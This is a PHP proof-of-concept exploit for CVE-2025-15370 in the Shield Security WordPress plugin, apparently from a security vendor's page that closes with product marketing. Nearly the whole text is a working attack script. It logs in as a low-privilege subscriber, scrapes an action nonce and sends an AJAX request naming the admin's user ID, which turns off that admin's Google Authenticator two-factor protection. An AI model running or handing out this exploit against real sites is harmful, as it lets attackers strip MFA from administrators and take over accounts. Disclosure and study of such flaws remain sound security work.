// CVE-2025-15370 - Shield Security <= 21.0.9 - Authenticated (Subscriber+) Insecure Direct Object Reference to Disable Google Authenticator

<?php

$target_url = 'https://vulnerable-site.com';
$attacker_username = 'subscriber_user';
$attacker_password = 'subscriber_pass';
$target_user_id = 1; // ID of the admin user whose Google Authenticator we want to disable

// Step 1: Authenticate as the attacker to obtain a session cookie and a valid nonce.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $attacker_username,
        'pwd' => $attacker_password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_HEADER => true
]);
$login_response = curl_exec($ch);

// Step 2: Extract a nonce from the user profile page (where the MFA toggle action is available).
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/profile.php',
    CURLOPT_POST => false,
    CURLOPT_POSTFIELDS => null,
    CURLOPT_HTTPHEADER => [],
    CURLOPT_HEADER => false
]);
$profile_page = curl_exec($ch);

preg_match('/"shield_action_nonce":"([a-f0-9]+)"/', $profile_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Failed to extract action nonce.');
}
$action_nonce = $nonce_matches[1];

// Step 3: Exploit the IDOR by sending the AJAX request with the target user ID.
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'mfa_google_auth_toggle', // The vulnerable action's SLUG
        'exec' => 'toggle', // Sub-action to disable MFA
        'active_wp_user' => $target_user_id, // The attacker-controlled parameter triggering the IDOR
        '_wpnonce' => $action_nonce // Nonce from the attacker's session
    ]),
    CURLOPT_HEADER => false
]);
$ajax_response = curl_exec($ch);
curl_close($ch);

// Step 4: Check the response.
echo "Response from AJAX request:n";
echo $ajax_response . "n";

// If successful, the response will contain JSON indicating the toggle was processed.
if (strpos($ajax_response, '"success":true') !== false) {
    echo "[+] SUCCESS: Google Authenticator likely disabled for user ID $target_user_id.n";
} else {
    echo "[-] Exploit may have failed. Check the response above.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School